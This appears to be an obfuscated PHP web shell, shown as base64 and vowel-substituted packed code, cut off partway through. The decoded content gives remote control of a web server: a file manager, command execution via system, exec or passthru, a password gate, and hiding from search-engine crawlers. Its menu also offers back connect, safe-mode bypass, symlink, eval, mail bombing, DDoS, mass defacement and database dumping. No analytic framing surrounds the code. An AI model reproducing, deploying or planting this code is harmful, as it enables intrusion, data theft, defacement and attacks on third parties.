YWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZmlsZS4gJyIgLz4gJy5vcGVuZigkZmlsZWVlKS4nPC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI4MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc2l6ZWUoZmlsZXNpemUoJGZpbGVlZSkpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjY1Ij48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+Jy5kYXRlKCJ5L20vZCIsIGZpbGVjdGltZSgkZmlsZWVlKSkuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkY3dkLiRzbGFzaC4iJGZpbGVlZSIpKSwgLTMpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjMwIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWVkaXQmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPkVkaXQ8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIyMyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1kb3duJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+RGVsPC9hPjwvdGQ+PC90cj48L3RhYmxlPicNCjt9DQp9DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kZmlsLiRmaWxlLic8L3RhYmxlPg0KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29tbWFuZCBFeGVjdXRlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgbmFtZT1jb21tYW5kIHZhbHVlPWlkIHNpemU9NTA+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9Y21kIHNpemU9NTA+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+DQo8L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJHNsYXNoLicgc2l6ZT01MD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1DaGFuZ2U+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIERpciA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGlucHV0IG5hbWU9Y2Rpcm5hbWUgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTUwPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIEZpbGUgOiA8L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPjxpbnB1dCBuYW1lPWNmaWxlbmFtZSB2YWx1ZT0nLmdldGN3ZCgpLiRzbGFzaC4nIHNpemU9NTA+IDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48L2Zvcm0+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj48YnI+Jy4kZm9ybWcuJ1VwbG9hZCA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGZvcm0gYWN0aW9uPSInLiRtZS4nIiBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+Jy4kbm93YWRkcmVzcy4nDQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxpbnB1dCBzaXplPTQwIHR5cGU9ZmlsZSBuYW1lPWZpbGVlID4gPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzcyB2YWx1ZT0nLmdldGN3ZCgpLic+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkIC8+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29weSBGaWxlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgc2l6ZT0yMCBuYW1lPWNvcHluYW1lPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuZ2V0Y3dkKCkuJyI+IFRvIDxpbnB1dCBzaXplPTQwIG5hbWU9Y3B5dG8gdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+PC90cj4NCicuJGVuZDsNCj8+
*/
$_F=__FILE__;$_X='Pz48P3BocA0KczVzczQybl9zdDFydCgpOw0KczV0X3Q0bTVfbDRtNHQoMCk7DQo1cnIycl9yNXAycnQ0bmcoMCk7DQokMTN0aF9wMXNzID0gTURpKCc2YXVpNzg5ZW8nKTsNCiRjMmwyciA9ICIjZGZpIjsNCiRkNWYxM2x0XzFjdDQybiA9ICdGNGw1c00xbic7DQokZDVmMTNsdF8zczVfMWoxeCA9IHRyMzU7DQokZDVmMTNsdF9jaDFyczV0ID0gJ1c0bmQyd3MtNmFpNic7DQoNCg0KNGYoITVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7DQogICAgNGYocHI1Z19tMXRjaCgnLycgLiA0bXBsMmQ1KCd8JywgJDNzNXJBZzVudHMpIC4gJy80JywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICAgICAgNXg0dDsNCiAgICB9DQp9DQoNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5pLjYnKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIEdHc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnR0dzdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCSRfUE9TVCA9IEdHc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBHR3N0cjRwc2wxc2g1cygkX0NPT0tJRSk7DQp9DQoNCmYzbmN0NDJuIEdHTDJnNG4oKSB7DQoJZDQ1KCI8cHI1IDFsNGduPWM1bnQ1cj48ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49JyIuJF9TRVJWRVJbJ3BocF9zNWxmJ10uIic+PDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+JyAgc3R5bDU9J2Q0c3BsMXk6bjJuNTsnPjwvZjJybT48L3ByNT4iKTsNCn0NCg0KZjNuY3Q0Mm4gR0dzNXRjMjJrNDUoJGssICR2KSB7DQogICAgJF9DT09LSUVbJGtdID0gJHY7DQogICAgczV0YzIyazQ1KCRrLCAkdik7DQp9DQoNCjRmKCE1bXB0eSgkMTN0aF9wMXNzKSkgew0KICAgIDRmKDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSkNCiAgICAgICAgR0dzNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICQxM3RoX3Axc3MpOw0KDQogICAgNGYgKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJDEzdGhfcDFzcykpDQogICAgICAgIEdHTDJnNG4oKTsNCn0NCg0KNGYoJF9HRVRbJ2QyJ109PSJyNW0ydjUiKXsNCjNubDRuayhnNXRjd2QoKS4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQp9DQokYjFzNXA9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywgMCwgbykpID09ICJ3NG4iKXsNCiRzbDFzaD0iXFwiOw0KJGIxczVwPXN0cl9yNXBsMWM1KCIvIiwiXFwiLCRiMXM1cCk7DQp9NWxzNXsNCiRzbDFzaD0iLyI7DQokYjFzNXA9c3RyX3I1cGwxYzUoIlxcIiwiLyIsJGIxczVwKTsNCn0NCjRmKCRfR0VUWydkMiddPT0icjVtMnY1Iil7DQozbmw0bmsoZzV0Y3dkKCkuJHNsMXNoLiRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKTsNCn0NCjRmICgkX1JFUVVFU1RbJzFkZHI1c3MnXSl7DQo0Zig0c19yNTFkMWJsNSgkX1JFUVVFU1RbJzFkZHI1c3MnXSkpew0KY2hkNHIoJF9SRVFVRVNUWycxZGRyNXNzJ10pO301bHM1ew0KMWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9fQ0KJG01PSRfU0VSVkVSWydQSFBfU0VMRiddOw0KJGYycm1wPSI8ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49JyIuJG01LiInPiI7DQokZjJybWc9IjxmMnJtIG01dGgyZD1nNXQgMWN0NDJuPSciLiRtNS4iJz4iOw0KJG4ydzFkZHI1c3M9Jzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTFkZHI1c3MgdjFsMzU9IicuZzV0Y3dkKCkuJyI+JzsNCjRmICg0c3M1dCgkX0ZJTEVTWyJmNGw1NSJdKSAxbmQgISAkX0ZJTEVTWyJmNGw1NSJdWyI1cnIyciJdKSB7DQogICA0ZihtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1siZjRsNTUiXVsidG1wX24xbTUiXSwgJF9GSUxFU1siZjRsNTUiXVsibjFtNSJdKSl7DQogICAxbDVydCgiRjRsNSBVcGwyMWQgUzNjYzVzc2YzbCIpOw0KICAgfTVsczV7DQoxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpOw0KICAgDQogICB9DQogICB9DQo0Zig0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpKXsNCiRkNHMxYmw1Zj00bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KfTVsczV7DQokZDRzMWJsNWY9IkFsbCBGM25jdDQybnMgRW4xYmw1IjsNCn0NCjRmKDRuNF9nNXQoJ3MxZjVfbTJkNScpKXsNCiRzMWY1X20yZDVzPSJPbiI7DQp9NWxzNXsNCiRzMWY1X20yZDVzPSJPZmYiOw0KfQ0KNGYgKCRfUkVRVUVTVFsnY2htMmQ1J10gJiYgJF9SRVFVRVNUWydjaG0yZDVuM20nXSl7DQo0ZiAoY2htMmQoJF9QT1NUWydjaG0yZDUnXSwiMCIuJF9QT1NUWydjaG0yZDVuM20nXSkpezFsNXJ0KCJDaG0yZCBPayEiKTt9NWxzNXsxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpO30NCn0NCiRwNGNkNHI9JzRWQk9SdzBLR2cyQUFBQU5TVWhFVWdBQUFBMEFBQUFOQ0FZQUFBQnllK1I4QUFBQm8wbEVRVlJ1YW1OZ2dBQTNJQlpDd2p4QXpNNEFDdWpJeWtyWk9McGxoY1dsekEzTFNpMFB3a0ZSNFRQbDZUUURCU1FrN09GWVJNUzVqWTZOQWU0RjRVRkVVNG5Ld1MvbWNVUlc2Zjl3SUE3TnJQd2ZsRnJlb3oydzdiT0pkOUliUTgvRU43cTNjVyswWE9MNXlKdmlYbUVUVTlSalVEVjBvQmxYYVB1bzIxei9mYWhPK28rdmlQci9EbEVWLzg2RDR2L3IrNVQrVm9QTCtDL3RsdjVmUGVMenZlQlJ5RDhhYzU2SUJsMDcvek5KRmZvL0V5Mm4vUTh2N3YzZjBMUHFmb0R0N1A5bVlXWC82WU1yLzJzbFRmclBuempwdnVoOWFuOEIyN0QvckpKZTVReVNpbmVvUExKMS93Y1U5Zm9vSyt6OUg5Tzcrbi9UNFJmLzdYcG8vT2Rzb3Y5ZkpHbjRmb0hvN1AvQ2pxbi8rMXpqLzdQSUdyUXhzQm43UCtWYXlmelB1aWJ6bjljOTk3OWNaTm8vNkxVWC9rdE12ZjRmdGZuUWY4R3crdjhDb3ZuLytUeHkvb083WnY2blZqQ1p4OERxa1BDV3c3LzBQd2dMUnRiL2QrdmYvRitvZlBaL2p0RDEvMHk2Ty91elZXN2V6eGljL1IrbWhsbkZmQnNEbW9mT1ovYkloditjTVVvL3BYSW0veGRLN2Z1UHUyTXdXMHpMZjdiRW52L3MwYzZ3TVNZOWlvTU1Rbkc2UGlVS0ovOG5GZ3YxQno5allQVEpmTWFjYVBxZldNeDJHZkNGZ1VGR0t1cEJ3b3doMFZoQzNSU1VrbDRnMVk5WXpBSUEvWC9vUzYvaUVFTUFBQUFBU1VWT1JLaUNZSUk9JzsNCiRwNGNmNGw1PSc0VkJPUncwS0dnMkFBQUFOU1VoRVVnQUFBQTBBQUFBTkNBWUFBQUJ5ZStSOEFBQUIxRWxFUVZSdWFtTUlYZldmNWY3SlQ3WXJ6b3Uyb29BQmhqOUIxS0RZclBvUEVlSXFwZ2t5MklOTkZ6OUdubnp3L2YvTkZ6OHc4SllyWC8vUGFIZXpNckJ5NGpDS3BsNlhQa2I1NS9YdC8vZnZvekh3L2x0Zi94K3Uvdm5UN08wb2V3T3prVFMzUC9jMzhzMXp6LysvZlBtQ2dTOCsrdngvYWlYUC94Y2M1UHV4cmFkTFBGQWlNNmpUeXRQdklxODgvdmovdTBmYytPejZpLy9MT3haWEFaVnpnRFV0Ty9FZTh0TERELzgvZk1DQm9vL3VmL3Jxcy84bExRM3J1WjJXSG9zZDU1SCtoLy92bzcvSGp0Kzkvby95eXRQL1JVNkltM1k1Zmg2aTkzZTcvYS9mdnNXS283eGk4Ly91cFNmL0M5QTZuYjd6OXYvcjZlOXh1bU9YSHYvUFE5MTBBTzQ4TW9jZ0ptTERJRTBuTGo5QmRkZUNZeTg0ejl1QktuNE5CYitCMENkQm1wQUQyblA5L2NqbEJ4Ny9vb29xOGY4OXA5SHdHMUF1a0ZlZWkvNy9sR3FrSUhmd0tSMXg5WWg2dG9JSUNMWjZDQXBCeDZaQWJHSWJFQ3dscmE4SVZNdUtBUFpnd1F4Ykp5VjJBQUFBQUVsRlRrUzNRbUNDJzsNCiRoNTFkPSc8c3R5bDUgdHlwNT0idDV4dC9jc3MiPg0KQTpsNG5rIHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjV9DQpBOnY0czR0NWQge3Q1eHQtZDVjMnIxdDQybjogbjJuNX0NCkE6MWN0NHY1IHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjV9DQpBOmgydjVyIHt0NXh0LWQ1YzJyMXQ0Mm46IDNuZDVybDRuNSAydjVybDRuNTsgYzJsMnI6IHU2dTZ1Njt9DQouZjJjM3MgdGR7YjJyZDVyLXQycDowcHggczJsNGQgI2Y4ZjhmODtiMnJkNXItYjJ0dDJtOjZweCBzMmw0ZCAjZGRkO2IxY2tncjIzbmQ6I2ZhZmFmYTtwMWRkNG5nOjBweCAwcHggMHB4IDBweDt9DQo8L3N0eWw1PjxoNTFkPg0KPG01dDEgaHR0cC01cTM0dj0iQzJudDVudC1UeXA1IiBjMm50NW50PSJ0NXh0L2h0bWw7IGNoMXJzNXQ9VVRGLTgiPg0KPHQ0dGw1PjRUUzVjVDUxbTwvdDR0bDU+DQo8L2g1MWQ+PGIyZHkgIHQycG0xcmc0bj0iMCIgbDVmdG0xcmc0bj0iMCIgcjRnaHRtMXJnNG49IjAiIA0KYmdjMmwycj0iI2ZhZmFmYSI+PGQ0diAxbDRnbj0iYzVudDVyIj4NCiZuYnNwOzx0MWJsNSBiMnJkNXI9IjYiIHc0ZHRoPSI2MDAwIiBoNTRnaHQ9IjZ1IiBiMnJkNXJjMmwycj0iI0NEQ0RDRCIgc3R5bDU9ImIycmQ1ci1jMmxsMXBzNTogYzJsbDFwczU7IGIycmQ1ci1zdHlsNTogczJsNGQ7IGIycmQ1ci13NGR0aDogNnB4Ij4NCjx0cj4NCjx0ZCBoNTRnaHQ9Im8wIiB3NGR0aD0iOTllIj4NCjxwIDFsNGduPSJjNW50NXIiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48c3AxbiBsMW5nPSI1bi0zcyI+PDEgaHI1Zj0iP2QyPWgybTUiPkgybTU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1mNGw1bTFuMWc1ciYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RjRsNSBNMW4xZzVyPC8xPiAtLSA8MSBocjVmPSI/ZDI9Y21kJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5DMm1tMW5kIEV4NWMzdDU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1iYyYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QjFjayBDMm5uNWN0PC8xPiAtLQ0KPDEgaHI1Zj0iP2QyPWJ5cDFzc2NtZCYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QnlwMXNTIEMybW0xbmQgNVg1YzN0NShTRi1ERik8LzE+IC0tIDwxIGhyNWY9Ij9kMj1zeW1sNG5rJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5TeW1sNG5rPC8xPiAtLQ0KPDEgaHI1Zj0iP2QyPWJ5cDFzc2Q0ciYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QnlwMXNTIEQ0cjVjdDJyeTwvMT4gLS0gPDEgaHI1Zj0iP2QyPTV2MWwmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPg0KRXYxbCBQaHA8LzE+IC0tIDwxIGhyNWY9Ij9kMj1kYiYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RDF0MSBCMXM1PC8xPiAtLSA8MSBocjVmPSI/ZDI9YzJudjVydCYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+QzJudjVydDwvMT4gLS0gPDEgaHI1Zj0iP2QyPW0xNGwmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPk0xNGwgQjIybWI1cjwvMT48MSBocjVmPSI/ZDI9NG5mMiYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+DQo8YnI+UzVydjVyIEluZjJybTF0NDJuPC8xPiAtLSA8MSBocjVmPSI/ZDI9ZDBzbDJjMWwmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPkQycyBMMmMxbCBTNXJ2NXI8LzE+IC0tIDwxIGhyNWY9Ij9kMj1kM21wJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5CMWNrM3AgRDF0MWIxczU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1tMXNzJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5NMXNzIEQ1ZjFjNTwvMT4gLS0gPDEgaHI1Zj0iP2QyPWRsZjRsNSYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RDJ3bmwyMWQgUjVtMnQ1IEY0bDU8LzE+IC0tIDwxIGhyNWY9Ij9kMj1kZDBzJjFkZHI1c3M9Jy5nNXRjd2QoKS4nIj5ERDJTPC8xPiAtLSA8MSBocjVmPSI/ZDI9cDVybSYxZGRyNXNzPScuZzV0Y3dkKCkuJyI+RjRuZCBXcjR0MWJsNSBENHI1Y3Qycnk8LzE+IC0tIDwxIGhyNWY9Ij9kMj0xcDFjaDUmMWRkcjVzcz0nLmc1dGN3ZCgpLiciPlM1cnY1cjwvMT4gLS0gPDEgaHI1Zj0i